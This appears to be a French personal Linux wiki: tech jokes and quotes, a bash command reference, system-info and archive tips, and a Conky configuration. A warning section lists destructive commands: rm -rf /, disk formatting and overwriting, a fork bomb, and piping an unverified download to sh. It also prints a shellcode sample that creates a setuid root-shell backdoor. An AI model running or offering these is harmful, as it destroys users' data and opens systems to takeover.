La réalité, c’est ce qui fait mal quand on éteint l’ordinateur.
----
Les deux principaux produits issus de l'université de Berkeley sont LSD et UNIX. Il ne peut s'agir d'une coïncidence. (Jeremy S. Anderson)
----
Avoid the Gates of Hell. Use Linux
----
Really, I'm not out to destroy Microsoft. That will just be a completely unintentional side effect. (Linus Torvalds, September 2003)
----
Les vrais informaticiens confondent toujours Halloween et Noël car pour eux : Oct 31 = Dec 25. (Andrew Rutherford)
----
Un trou noir, c'est troublant...
----
MSN is the alternative to AOL like Herpes is the alternative to Gonorrhea.
----
Computers are like air-conditioners, they stop working properly when you open Windows.
----
The best way to accelerate a computer running Windows is at 9.81 m/s²
----
Linux is user-friendly... It is just selective about who its friends are...
----
There are 10 types of people in the world: those who understand binary, and those who don't. 
----
Les ventes de voitures ont encore baissé de 7% cette année. Y'en a marre de ces pirates qui téléchargent les voitures sur internet !
----
Un geek, c’est quelqu’un qui croit qu’il y a 1024m dans 1km
----
Si Microsoft inventait un truc qui ne se plante pas, ça serait un clou !
----
Déclaration des Droits de l'Homme et du Citoyen de 1793 Article 35:
"Quand le gouvernement viole les droits du peuple, l'insurrection est, pour le peuple et pour chaque portion du peuple, le plus sacré et le plus indispensable des devoirs."
----
Mon ordinateur m'aime bien. Un jour, je l'ai posé sur le bord de la fenêtre et je lui ai dit: "Va, tu es libre!" Il est resté.
----
Mieux vaut tar que gz
----
The world will end in 5 minutes. Please log out.
----
Baisse ton string que j'te ping!
----
And remember kids, the faster you download, the bigger your penis is.
----
linux, il y a moins bien mais c'est plus cher!
----
WARNING: Keyboard Not Attached. Press F10 to Continue.
----
Enter any 11-digit prime number to continue...
----
Hit any user to continue.
----
Scandisk is now checking your hard disk. You can start praying.
----
Perl - The only language that looks the same before and after RSA encryption.
----
Je suis convaincu de l'existence d'une intelligence extraterrestre : la preuve, ils n'ont toujours pas pris contact avec nous (A. Einstein)
----
For windows problems, reboot, for linux problems, be root
----
make install, not war!
----
Accroche toi à ton terminal, je retire les shells
----
l'orage c'est un peu le seul moyen pour un geek de vivre dangereusement
----
Chéri, tu viens manger ? Une minute, je recompile le noyau et j'arrive.
----
Linux est multi-tâches, windows est multi-taches.
----
no gnu has been hurd
----
In the Beginning was the Command Line...
----
Linux, because booting is for adding hardware.
----
Linux is like living in a teepee.
No Windows, no Gates and an Apache in house.
----
pointers in C. Some people seem to be simply born without the part of the brain that understands them.
----
Plus un ordinateur possède de RAM, plus vite il peut générer un message d'erreur (Dave Barry)
----
Hardware: partie de l'ordinateur qui reçoit les coups quand se plante le software.
----
Si tu ne peux pas battre ton ordinateur aux échecs, essaie le kickboxing !
----
Si vous ne pouvez le faire bien, rendez le beau. (B. Gates)
----
There's no place like 127.0.0.1
----
L'édition de fichiers sous linux c'est une question de vi ou de more
----
/* no comment */
----
Le meilleur moyen de sauvegarder son travail est de le rendre disponible sur internet et d'attendre que le monde entier le copie. (Linus Torvalds)
----
Oh, so they have Internet on computers now! (Homer Simpson)
----
The Box Said: Requires Windows XP or Better ... So I have installed Linux !
----
Beware of computer programmers that carry screwdrivers. (Leonard Brandwein)
----
Only in Unix can you fork and execute your own children!
----
Il ne faut pas vendre la peau de l'Hurd avant de l'avoir codé.
----
Une souris qui marche vaut mieux qu'un clavier qui se blo
----
Avec Linux, t'as un noyau, Avec windows, t'as que des pépins ...
----
Le problème avec le village global, c'est les idiots du village global!
----
Le libre, ça coule du source
----
unzip; strip; touch; finger; mount; fsck; more; yes; gasp; umount; sleep
----
Une bonne GPL vaut mieux que deux propriétaires.
----
I would love to change the world, but they won't give me the source code
----
We are sorry, but the number you have dialed is imaginary. Please rotate your phone 90 degrees and try again
----
Black holes are where God divided by zero
----
Ubuntu - Je suis ce que je suis grâce à ce que nous sommes tous
----
Mon ordinateur a des CD... Il a passé la RAM à gauche ([[source|http://www.nojhan.net/geekscottes/index.php?strip=26]])
----
Use The Best: Linux for Servers - Mac for Graphics - Palm for Mobility - Windows for Solitaire
----
What we want: "A Brand GNU World"
----
La question essentielle n’est pas d’utiliser du logiciel libre, mais que l'on respecte la possibilité pour les autres d’utiliser du logiciel libre (Richard Stallman)
----
Avant d'installer linux, mon ordinateur plantait tout le temps, les filles me fuyaient, je n'avais pas d'amis ni de vie sociale, et j'avais des boutons... Maintenant, mon ordinateur ne plante plus
----
Some people have told me they don't think a fat penguin really embodies the grace of Linux, which just tells me they have never seen an angry penguin charging at them in excess of 100mph. They'd be a lot more careful about what they say if they had (Linus Torvalds)
----
Tous les composants électroniques contiennent de la fumée ; lorsqu'elle s'échappe, ils cessent de fonctionner. 
----
«Les ordinateur du futur ne pèseront pas moins d'une tonne et demi.» Popular Mechanics, 1949.
----
The real problem is not whether machines think but whether men do. (B. F. Skinner)
----
En root... pour l'aventure !
----
Le plus difficile lors du passage à Linux? 
Retirer proprement le petit sticker "Designed for Microsoft(R) Windows XP (R)" collé sur le PC!!!
----
La route est longue, mais la voie est libre.
----
In a world without walls, who needs gates or windows ?
----
Si l'automobile avait suivi le même développement que les ordinateurs, une ~Rolls-Royce coûterait aujourd'hui 500 francs, ferait du 700 kilomètres heure et exploserait une fois par an en faisant 10 morts. (Robert Cringely)
----
Avec windows XP on était au bord du gouffre, avec Vista on a fait un grand pas en avant...
----
"Si Mozart avait pu déposer des brevets sur certains styles/arrangements musicaux, Beethoven aurait-il pu encore faire de la musique ? " (Richard Stallman)
----
echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sbA0D4D465452snlbxq'|dc
----
IRC is just multiplayer notepad
----
Math problems? Call 1-800-[(10x)(13i)^2]-[sin(xy)/2.362x]
----
Linux was made by foreign terrorists to steal money from true AMERICAN companies like Microsoft who invented computing as we know it, and are being punished for their success...
----
"un linuxien qui ne met pas les mains dans le cambouis, c'est un linuxien qui s'ennuie !" (Benoît Bâlon)
----
QED is Latin for small empty box. 
----
Il semble que l'on ait résolu deux mystères en même temps: la masse manquante de l'univers et la disparition des chaussettes.
----
Internet Explorer, c’est pas une passoire, c’est un entonnoir. (Laura Dove)
----
Newton c'était un peu un nerd quand meme.
----
"... one of the main causes of the fall of the Roman Empire was that, lacking zero, they had no way to indicate successful termination of their C programs." (Robert Firth)
----
"If Python is executable pseudocode, then perl is executable line noise."
----
"It's a little-known fact that the ~Y1K problem caused the Dark Ages."
----
"Le bug de l'an 2000 n'a fait que peut de dégâts; mais peu de gens savent que le bug de l'an 1000 à provoqué un retour au moyen-âge dans toute l'Europe."
----
"Programme moi un mouton."
----
"See, you not only have to be a good coder to create a system like Linux, you have to be a sneaky bastard too." (Linus Torvalds)
----
<svarog> You know, the only good thing about Vista
<svarog> Is that even the viruses have compatibility issues. (bash.org)
----
Nous autres, mordus d'informatique, préférons par-dessus tout passer notre temps à bidouiller nos ordinateurs, plutôt que les utiliser pour faire quelque chose de productif. (Dave Barry)
----
La révolution informatique fait gagner un temps fou aux hommes, mais ils le passent avec leur ordinateur ! (Khalil Assala])
----
Avec l'arrivée d'Internet, pas étonnant que l'on ne trouve plus la Peugeot 404.
----
Q - Qu'est-ce que internet explorer ? R - Un outil windows pour télécharger FireFox 
----
Ubuntu is an ancient African word meaning "I can't configure Debian"
----
Never trust an operating system you don't have sources for!
----
"If you have an apple, and I have an apple, and we exchange apples, you and I will still only have one apple. But if you have an idea and I have an idea, and we exchange ideas, then each of us will have two ideas" (George Bernard Shaw)
----
(@scrabble) [Lettres tirées] - E N X U L S Z C M I - (trouvez le mot de plus long avec ces lettres)
(engez) sex
(mat) cul
(kyky) linux         (BashFR.org)
----
"Il est difficile de faire comprendre quelque chose à un homme quand son salaire dépend du fait qu'il ne doit pas le comprendre." (Upton Sinclair)
----
Le libre, je l’ai dans l’OS !
----
Un blog de plus pour un monde plus gnuste. (Bartux)
----
Linux: parce que gnous le valons bien. (Bartux)
----
Alcohol & calculus don’t mix. Never drink & derive.
----
	La programmation aujourd’hui est une course entre les développeurs tâchant de concevoir des programmes de plus en plus nombreux et efficaces, convenant même aux imbéciles, et l’univers essayant de produire des idiots de plus en plus nombreux et efficaces. Jusqu’à présent, c’est l’univers qui gagne.
----
Je ne suis pas asocial, Je ne suis juste pas orienté utilisateur.
----
La vitesse du son est définie par la distance entre la porte et l’ordinateur, divisée par l’intervalle de temps nécessaire pour fermer le media player.
----
Les mots de passe sont comme les sous-vêtements. On ne devrait pas les laisser trainer là où des personnes pourraient les voir. On devrait en changer regulièrement. On ne devrait pas les prêter à des inconnus.
----
Ne vous moquer jamais des geeks. Un jour, ils seront vos boss.
----
The only people who have anything to fear from free software are those whose products are worth even less. (David Emery)
----
Physics is the universe’s operating system. (Steven R Garman)
----
Windows has no users. It has hostages.
----
Si tu es prêt à sacrifier un peu de liberté pour te sentir en sécurité, tu ne mérites ni l’une ni l’autre .(Thomas Jefferson)
''Nom de l'application'': ''@@color(red): Cloudsn @@''
Mots clef: notification, mail, ubuntu, gmail
Liens: [[site officiel| http://chuchiperriman.github.com/cloud-services-notifications/ ]]
<<<
''Description: ''Petit applet de notification efficace pour gmail, google reader, twitter, …

''Installation: ''ajouter le dépot ppa:chuchiperriman/cloudsn puis [[via apt|apt://nomdelappli]]

''Utilisation: ''simplement s'enregistrer pour les comptes désirés.
Astuce: ''Comment combiner plusieurs fichiers pdf en un seul''
Mots clef: bureautique, édition pdf
Os: Linux
Liens: [[source| http://www.debianadmin.com/combine-multiple-pdfs-into-one-file-in-ubuntu-linux.html ]]
<<<
Tout d'abord installer les applications nécessaires:
{{{
# apt-get install gs pdftk
}}}

Soient les fichier 1.pdf, 2.pdf et 3.pdf que l'on désire combiner dans cet ordre en 1 seul fichier monFichier.pdf. 
Pour ce faire:
{{{
$ gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=monFichier.pdf -dBATCH 1.pdf 2.pdf 3.pdf
}}}
Et voilà.

voir aussi PDFSam
<<gradient vert #EEEEEE #EEEEEE #EEEEEE>>color:black;text-align:center; @@color(#000000):<<QOTD 110CommandesBashListe>>@@>>
Astuce: ''Commandes à connaître''
Mots clef: console, bash
Os: Linux
Liens: [[source| http://www.trustonme.net/didactels/130.html ]]
<<<
Les commandes à connaitre :

''adduser : ajouter un utilisateur''
adduser est un assistant (console) qui utilise useradd et permet de créer un utilisateur très facilement à l'aide de questions/réponses.

''alias : synonyme''
alias ll ls -alh : définit la nouvelle commande "ll" comme synonyme de "ls -alh"

''cal : Pour calendar''
cal : affiche le calendrier du mois 

''cat : affiche le contenu d'un fichier''
cat fichier : affiche le contenu du fichier "fichier" à l'écran
cat fichier > fichier2 : copie le contenu du fichier "fichier" dans le fichier "fichier2"

''cd : Pour change directory''
cd /chemin/vers/répertoire : Se rendre dans le répertoire "/chemin/vers/repertoire"
cd .. : Se rendre au répertoire au-dessus du répertoire courant

''chgrp : Pour change group''
chgrp -R mysql /var/lib/mysql : Le répertoire /var/lib/mysql/ et son contenu appartiendront desormais au groupe mysql

''chmod : change mode''
chmod 777 fichier : Donner tous les droits sur le fichier "fichier" 

''chown : change owner''
chown liban:ftp fichier : le fichier "fichier" appartient désormais à l'utilisateur liban et au groupe ftp.

''cp : Pour copy''
cp fichier_source /chemin/vers/repertoire_cible/ : Copier [fichier_source] dans [répertoire_cible]
cp -Rf repertoire_source/ /chemin/vers/repertoire_cible : Copie le répertoire "répertoire_source" dans "repertoire_cible" sans demander de confirmation.
cp file1{,bak} pour copier le fichier file1 en file1bak

''ctrl+alt+Fi : naviguer entre console''
ctrl+alt+F1 : passer en mode console, vous vous connecterez à la console 1
ctrl+alt+F2 : Idem, mais pour la console 2
ctrl+alt+F7 : Pour revenir sous X (mode graphique)

''date : date''
date : affiche la date du jour

''df : Pour disk free''
df -h : Donner la taille et les % d'occupation de toutes les partitions des disques durs

''du : disk usage''
du -hs repertoire : Donner la taille du répertoire "repertoire"
du -sc * | sort -n | tail : Permet d'afficher les fichiers du répertoire prenant le plus de place

''grep : rechercher une chaîne de caractère''
grep "linux" fichier.txt : affiche toutes les lignes contenant la chaîne de caractère "linux", dans le fichier "fichier.txt"

''echo : affiche une chaîne de caractères à l'écran''
echo "coucou" : Affiche le mot coucou à l'écran
echo "$PATH" : Affiche, le contenu de la variable PATH à l'écran
echo '$PATH' : Affiche le mot $PATH à l'écran
echo `ls` : Affiche le résultat de la commande "ls" à l'écran

''exit : Sortir''
exit : permet de sortir d'une session root, débuté par su, par exemple.

''find: Rechercher''
find /home/kernel -name *.mp3 : donne la liste des fichiers .mp3 contenu dans le répertoire "/home/kernel/".

''free : libre''
free : affiche les quantités de mémoire et swap : totales, libres et utilisées

''ifconfig : Pour (network) Interface configuration''
ifconfig : permet d'avoir la liste des adresses IP des interfaces réseaux (lo,ppp0,eth0 ...)

''kill : tuer''
killall -9 apache : Tuer le processus apache
kill -9 125875 : Tuer le processus dont le PID est 125875
On peut utiliser aussi pkill pour tuer directement

''last : derniers''
last : affiche les derniers reboot, boot et connexion d'utilisateurs

''lastlog : Pour last login''
lastlog : affiche précisément la date de la dernière connexion de tous les utilisateurs du système

''less : moins''
less fichier : permet de visualiser une partie du fichier "fichier", utilisez les touches directionnelles [haut] et [bas] pour faire défiler le texte, q comme quit permet de quitter.

''ln : Pour link''
ln fichier_source /chemin/vers/fichier_cible : Etablir un lien dur entre "fichier_source" et "fichier_cible"
ln -s fichier_source /chemin/vers/fichier_cible : Etablir un lien symbolique entre "fichier_cible" et "fichier_cible"

''locate : localiser''
locate pattern : Affiche la liste des fichiers dont le nom contient le mot "pattern". Locate recherche un fichier à partir de la dernière version de la base de données des fichiers (base généralement créée par updatedb).

''logout : se déloguer''
logout : quitter la session courante

''ls : Pour list''
ls /répertoire/ : lister les fichiers et dossiers du répertoire "/répertoire/"
ls -lh /répertoire/ : lister le contenu d'un répertoire en donnant pour chaque fichier/répertoire, plus de détails qu'un simple ls
ls -a /répertoire/ : lister tout le contenu , fichiers cachés [dont le nom commence par un .] compris.
ls -d /répertoire/ : ne lister que les dossiers du répertoire "/répertoire/"
ls -t /répertoire/ : lister le contenu du répertoire "/répertoire/" en les triant par date de modification.

''lsof : pour list open files''
lsof /dev/dsp permet de connaître le processus qui occupe le périphérique, /dev/dsp

''lspci : pour list pci''
lspci : connaître, les périphériques disponibles sur PCI et AGP

''lsusb : pour list usb''
lsusb : connaître, les périphériques branchés sur usb.

''man : Pour manual''
man cp : affiche la page de manuel de cp

''mkdir : Pour make directory''
mkdir /mon_repertoire : Créer le répertoire "/mon_répertoire"

''mount/umount : monter/démonter''
mount /dev/cdrom /mnt/cdrom : Monter le lecteur de cdrom [après avoir introduit un cd-rom] dans le répertoire /mnt/cdrom
umount /mnt/cdrom : Démonter le lecteur cd-rom.

''more : plus''
more fichier : permet de visualiser une partie du fichier "fichier", utilisez [enter] pour le faire défiler, q comme quit pour quitter
cat fichier | more : Idem !

''mv : Pour move''
mv fichier_source /chemin/vers/repertoire_cible/ : Déplacer "fichier_source" dans "repertoire_cible"

''nice/renice : sympathique''
nice -5 /usr/bin/mon_prog : exécute le programme "/usr/bin/mon_prog" avec la priorité -5. La priorité est un entier relatif compris entre -20 (programme le plus prioritaire) et 19 (programme le moins prioritaire).
nice +10 1003 : affecte la priorité 10 au programme dont le PID vaut 1003.

''nohup : Pour no hang-up''(c.f. NoHup)
nohup firefox & : Exécute le programme firefox même après deconnexion de l'utilisateur qui l'a lancé
A consommer avec modération !

''passwd : mot de passe''
passwd kernel : changer le mot de passe de kernel, utilisable uniquement par kernel ou root.
passwd : changer le mot de passe de l'utilisateur qui a tapé la commande.

''pidof : Pour process identifier of''
pidof xclock : affiche le PID du programme en cours d'exécution "xclock"

''ping : ping''
ping 217.12.3.11 : Envoyer une requête par ICMP à yahoo.fr en utilisant son adresse IP. Il y'a ensuite calcul du temps de réponse, s'il dépasse une certaine valeur c'est que l'IP n'est pas attribuée.
ping fr.yahoo.com : Idem, mais pour que ça marche, il faut que /etc/resolv.conf contienne bien les DNS de votre FAI.

''ps : Pour process status''
ps -fe : lister l'ensemble des processus actif en les classant par pid
ps -aux : lister l'ensemble des processus en indiquant la charge de chacun, sur le CPU, l'heure de lancement ...

''pstree : Pour process status tree''
pstree : lister l'ensemble des processus en indiquant les relations de filiation (comme {{{$ ps afx}}} mais en mieux)

''pwd : Pour print name of working directory''
pwd : répond à la question : quel est le répertoire courant ?

''rm : Pour remove''
rm fichier : Effacer "fichier"
rm -f fichier : effacer sans demander de confirmation "fichier"
rm -rf /répertoire : effacer sans demander de confirmation le répertoire "/répertoire"

''rmdir : Pour remove directory''
rmdir /répertoire : supprimer le répertoire "/répertoire" si et seulement si "/répertoire" est vide.

''slocate : Pour secure locate''
slocate pattern : Affiche la liste des fichiers dont le nom contient le mot "pattern". slocate est la version sécurisée de locate.

''su : Pour switch user''
su kernel : Prendre l'identité de kernel
su : Prendre l'identité de root

''swapon/swapoff : activation/desactivation de swap''
swapon /dev/hda5 : Activer la partition /dev/hda5 comme, partition de swap. Pour que se soit permanent il faut la rajouter à /etc/fstab

''tac : affiche le contenu d'un fichier de bas en haut''
tac fichier : affiche le contenu du fichier "fichier" à l'écran en commençant par le bas.

''tail : afficher les dernières lignes d'un fichier''
tail fichier : affiche les 10 dernières lignes du fichier "fichier"
tail -2 : Idem mais seulement 2 lignes
tail -f /var/log/messages : affiche les messages du noyaux en live

''tar : Pour tape archive''
tar -zxvf fichier.tar.gz
tar -jxvf fichier.tar.bz2
tar -Cvf nom_archive.tar fichiers_sources : Créer une archive "nom_archive.tar" en incluant tous les "fichiers_sources"

''top : Table of processes''
top : Afficher la liste des processus les plus gourmands, q comme quit pour quitter

''touch : créer un fichier''
touch nom_fichier : Créer le fichier "mon_fichier"

''uname : Pour Unix name''
uname -m : affiche le type de la machine
uname -n : affiche le nom de la machine
uname -r : affiche le numéro de version du système
uname -s : affiche le nom du système
uname -a : affiche toutes les informations ci-dessus

''updatedb : Pour update database''
updatedb : Met à jour la base de données utilisée par slocate.

''uptime : Depuis quand le PC as-t-il démarré sous Linux ?''
uptime : Affiche, le temps écoulé depuis le dernier démarrage

''useradd/userdel : ajouter/supprimer un utilisateur''
useradd -g jedis -p "yoda" -d /home/kernel -s /bin/zsh kernel : Créer l'utilisateur, kernel appartenant au groupe jedis (qui doit exister), dont le mot de passe est yoda et le répertoire personnel /home/kernel
userdel kernel : supprime l'utilisateur kernel

''usermod : modifier un utilisateur''
usermod -d /home/myself -m kernel : change le répertoire personnel de "kernel" en "/home/myself". Cette commande recopie également le contenu de l'ancien dossier personnel et ajuste les droits.
usermod -l myself kernel : change le nom de l'utilisateur "kernel" en "myself". Pour que ça fonctionne, "kernel" ne doit pas être connecté à la machine

''vmstat : Pour Virtual Memory statistics''
vmstat : affiche des informations sur la machine virtuelle

''w : afficher la charge''
w : affiche la charge de votre PC

''whereis : où est ?''
whereis nom_executable_logiciel : rechercher dans le PATH l'éxécutable ayant pour nom "nom_executable_logiciel" 
<<<
Astuce: ''Liste de commandes permettant d'obtenir des informations sur le système''
Mots clef: bash, hardware, commandes
Os: Linux
<<<
Messages de démarrage:
{{{
$ dmesg
}}}
informations du Hardware:
{{{
# lshw
}}}
Et pour créer un beau document html avec toutes ces infos:
{{{
# lshw -html > monOrdi.html
}}}
Informations sur tous les modules chargés:
{{{
$ lsmod
}}}
Liste des périphériques USB détectés:
{{{
$ lsusb
}}}
Liste des bus PCI et leurs périphériques (par exemple pour avoir des infos sur la carte réseau, carte graphique, interface ide et ports usb):
{{{
$lspci
}}}
Infos sur son processeur:
{{{
$ cat /proc/cpuinfo
}}}
Info sur la mémoire:
{{{$ cat /proc/meminfo}}}
Infos sur ses partitions:
{{{
$ fdisk -l
}}}
La commande uname:
{{{
$ uname -option
}}}
Avec les options suivantes:
-m architecture de votre machine.
-n nom d'hôte de votre machine.
-s nom de votre système d'exploitation.
-r  nom de votre kernel + sa version.
-o nom du système d'exploitation.
-v version du système d'exploitation.
-p nom de votre processeur.

Connaître la version de linux installée:
{{{
$ lsb_release -a
}}}
Connaître la température du disque dur grâce à hddtemp ({{{apt-get install hddtemp}}})
{{{
$ hddtemp /dev/hda
}}}
Connaître la vitesse de lecture du disque dur
{{{
$ hdparm -t /dev/hda
}}}
''Notes: ''voir aussi HardInfo et DiskType
Astuce: ''Quelques commandes qu'il est bon de connaitre afin de ne jamais les utiliser.''
Mots clef: danger,
Os:linux
Liens: [[source|http://www.junauza.com/2008/11/7-deadly-linux-commands.html ]]
<<<
Toutes les commandes qui suivent peuvent avoir des conséquences dramatiques, en particulier avec des droits administrateurs. Conclusion: ne jamais excécuter une commande que l'on ne comprend pas.
* Tout effacer récursivement depuis la racine du système 
{{{
rm -rf /
}}}
* La mëme commande mais en hexadécimal avec une petite porte dérobée en prime
{{{
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
}}}
*Reformater le disque principal, effaçant ainsi toutes les données
{{{
mkfs.ext3 /dev/sda
}}}
*Exécute une "fork bomb" en créant un grand nombre de processus très rapidement afin de saturer l'espace disponible
{{{
:(){:|:&};:
}}}
* Ecrire des données sur le disque principal, corrompant ainsi ce dernier et le rendant inutilisable.
{{{
n'importe quelle commande > /dev/sda
{{{
dd if=/dev/urandom of=/dev/sda bs=10M
}}}
{{{
shred -n1 /dev/sda
}}}
* Exécution d'un script non vérifié par l'utilisateur et contenant un code malicieux
{{{
wget http://une_source_non_vérifiée -O- | sh
}}}

''Nom de l'application'': ''@@color(red): Compiz-switch @@''
Mots clef: compiz, eye-candy
Liens: [[source| http://forlong.blogage.de/article/pages/Compiz-Switch]]
<<<
''Description: ''Compiz-switch est un petit logiciel permettant d'activer ou de désactiver en un clique compiz-fusion, sous gnome ou kde.

''Installation: ''Paquet .deb disponible [[ici|http://forlong.blogage.de/article/pages/Compiz-Switch]].

''Utilisation: ''simple comme un clic.
Astuce: ''Commandes de compression et décompression pour différents types d'archives''
Mots clef: archive, targz
Os: Linux
<<<
''Tar/Gz (archive.tar.gz)''
Pour décompresser : {{{$ tar zxvf fichier.tar.gz}}}
Pour compresser : {{{$ tar -cxvf fichier.tar.gz}}}
''Tar (archive.tar)''
Pour décompresser : {{{$ tar xvf fichier.tar}}}
Pour compresser : {{{$ tar -cvf fichier.tar fichiers/répertoires}}}
''Gzip (archive.gz)''
Pour décompresser : {{{$ gzip -d fichier.gz}}}
Pour compresser : {{{$ gunzip -c fichier > fichier.gz}}}
''Bzip2 (archive.bz2)''
Pour décompresser : {{{$ bzip2 -d fichier.bz2}}}
Pour compresser : {{{$ bzip2 fichier.bz2 fichiers}}}
''Zip (archive.zip)''
Pour décompresser : {{{$ unzip fichier.zip}}}
Pour compresser : {{{$ zip -r fichier.zip fichiers}}}
''Rar (archive.rar)''
Pour décompresser : {{{$ unrar -x fichier.rar}}} ou {{{$ rar e fichier.rar}}}
''Cab''
Pour décompresser: {{{$ cabextract fichier.cab}}}
''Ace (archive.ace)''
Pour décompresser : {{{$ unace x -y fichier.ace}}}
''Arj (archive.arj)''
Pour compresser : {{{$ arj a test.arj fichiers}}}
Pour décompresser : {{{$ arj x -y fichier.arj}}}
''Tar/Bz2 (archive.tar.bz2)''
Pour décompresser : {{{$ tar jxvf fichier.tar.bz2}}}
<<<
But: ''Script très basic faisant office de petit compte à rebours en console''
Mots clef: utilitaire, alarme
<<<
''Notes: ''Pour quelque chose de plus efficace, voir KAlarm

''Utilisation: ''{{{$ monScript.sh 300}}} pour un compte à rebours de 300 secondes.

''Script: '' 
{{{
#!/bin/bash

i=$1
echo " "
while [[ $i -ge 0 ]]
   do
   echo -e "\r "$i" \c"
   sleep 1
   i=$(expr $i - 1)
done
echo " time out  "
for ((i=0 ; 100000 - $i ; i++))
    do echo -en "\007"
done
}}}

''Note: ''Ou encore plus simple {{{$ sleep [secondes] && Actions}}}
Astuce: ''Compter la fréquence de l'ensemble des mots d'un fichier donné''
Mots clef: bash, fichiers
Os: linux
Liens: [[source|http://www.commandlinefu.com/commands/view/7657/count-the-frequency-of-every-word-for-a-given-file?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Command-line-fu+(Command-Line-Fu)  ]]
<<<
{{{
$ cat fichier.txt|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn
}}}
Astuce: ''Compter le nombre de fichier contenant une certaine suite de caractères''
Mots clef: bash, fichiers
Os: Linux
Lien: [[source|http://snippets.prendreuncafe.com/snippet/42]]
<<<
Pour avoir le nombre d'occurrence de fichiers contenant le mot web dans le répertoire et tous les sous-répertoires:
{{{
$  ls -R  | grep web | wc -l
}}}
On peut aussi exclure certaines ressources ou répertoires, avec grep -v :
{{{
$ grep -r require_once /path/to/scan | grep -v .svn | wc -l
}}}

''Nom de l'application'': ''@@color(red): Conduit @@''
Mots clef: synchronisation
Liens: [[site officiel|http://www.conduit-project.org/]]
<<<
''Description: ''Conduit est un outil de synchronisation pour Gnome. Il permet la synchronisation de vos fichiers, photos, emails, contacts, notes et calendriers entre différents ordinateurs et services en ligne.

''Installation: ''[[via apt|apt://conduit]]

''Utilisation: ''Conduit propose une interface graphique vraiment intuitive: cliquer -- > glisser -- > synchroniser.

''Notes: ''voir également RSync, DupliCity, FullSync ou UnisonGtk
''Nom de l'application'': ''@@color(red): Conky @@''
Mots clef: Système, bureau
Liens: [[Site officiel|http://conky.sourceforge.net/ ]]
<<<
''Description: ''Conky est un moniteur système avancé pour X, très configurable et basé sur torsmo.

''Installation: ''{{{apt-get install conky}}}
''Notes: ''configuration via le fichier //.conkyrc// (ou un autre nom), lancement via {{{$ conky ~/.conkyrc}}}
Permet également d'afficher le résultat de script grâce à l'option {{{execi sec.}}}.

Voilà les deux fichiers de configuration que j'utilise:
* Pour afficher les informations système (utilise le script ScriptAdresseIpWan)
{{{
# Conky sample configuration
#
# the list of variables has been removed from this file in favour
# of keeping the documentation more maintainable.
# Check http://conky.sf.net for an up-to-date-list.

# set to yes if you want Conky to be forked in the background
background no

# X font when Xft is disabled, you can pick one with program xfontsel
#font 5x7
#font 6x10
#font 7x13
#font 8x13
#font 9x15
#font *mintsmild.se*
#font -*-*-*-*-*-*-34-*-*-*-*-*-*-*


# Use Xft?
use_xft yes

# Set conky on the bottom of all other applications
on_bottom yes

# Xft font when Xft is enabled
xftfont Bitstream Vera Sans Mono:size=8

# Text alpha when using Xft
xftalpha 0.8

# Print everything to stdout?
# out_to_console no

# MPD host/port
# mpd_host localhost
# mpd_port 6600
# mpd_password tinker_bell

# Print everything to console?
# out_to_console no

# mail spool
mail_spool $MAIL

# Update interval in seconds
update_interval 2.0

# This is the number of times Conky will update before quitting.
# Set to zero to run forever.
total_run_times 0

# Create own window instead of using desktop (required in nautilus)
own_window no

# Use pseudo transparency with own_window?
own_window_transparent yes

# If own_window_transparent is set to no, you can set the background colour here
own_window_colour hotpink

# Use double buffering (reduces flicker, may not work for everyone)
double_buffer yes

# Minimum size of text area
minimum_size 280 5

# Draw shades?
draw_shades yes

# Draw outlines?
draw_outline no

# Draw borders around text
draw_borders no

# Stippled borders?
stippled_borders 8

# border margins
border_margin 4

# border width
border_width 1

# Default colors and also border colors
default_color white
default_shade_color black
default_outline_color black

# Text alignment, other possible values are commented
#alignment top_left
alignment top_right
#alignment bottom_left
#alignment bottom_right
#alignment none

# Gap between borders of screen and text
# same thing as passing -x at command line
gap_x 12
gap_y 12

# Subtract file system buffers from used memory?
no_buffers yes

# set to yes if you want all text to be in uppercase
uppercase no

# number of cpu samples to average
# set to 1 to disable averaging
cpu_avg_samples 2

# number of net samples to average
# set to 1 to disable averaging
net_avg_samples 2

# Force UTF8? note that UTF8 support required XFT
override_utf8_locale no


# Add spaces to keep things from moving about?  This only affects certain objects.
use_spacer no

#   mldonkey_hostname     Hostname for mldonkey stuff, defaults to localhost
#   mldonkey_port         Mldonkey port, 4001 default
#   mldonkey_login        Mldonkey login, default none
#   mldonkey_password     Mldonkey password, default none

# boinc (seti) dir
# seti_dir /opt/seti

# variable is given either in format $variable or in ${variable}. Latter
# allows characters right after the variable and must be used in network
# stuff because of an argument

# stuff after 'TEXT' will be formatted on screen

TEXT
${color}CPU: $cpu% ${color #ffcb48} | ${color}Uptime: ${color}${uptime} ${color #ffcb48}| ${color}eth0: $color ${downspeed eth0} kB/s${color} - ${color}${upspeed eth0} kB/s ${color #ffcb48}| ${color}System: $color${fs_used}/${fs_size} ${color #ffcb48}| ${color}Data: $color${fs_used /mnt/data}/${fs_size /mnt/data} ${color #ffcb48}| ${color}RAM: $color${mem}/$memmax
${color #ffcb48}IP:${execi 600 ~/Scripts/myip.sh} ${alignr} powered by $sysname $kernel on ${execi 600 cut -d "\\" -f1  /etc/issue}
${alignr}${color orange}Top Processes:
${alignr}${color #ffcb48}Name              PID     CPU%   MEM%
${alignr}$color ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
${alignr}$color ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
${alignr}$color ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}

${alignr}${color orange}Mem usage:
${alignr}$color ${top_mem name 1} ${top_mem pid 1} ${top_mem cpu 1} ${top_mem mem 1}
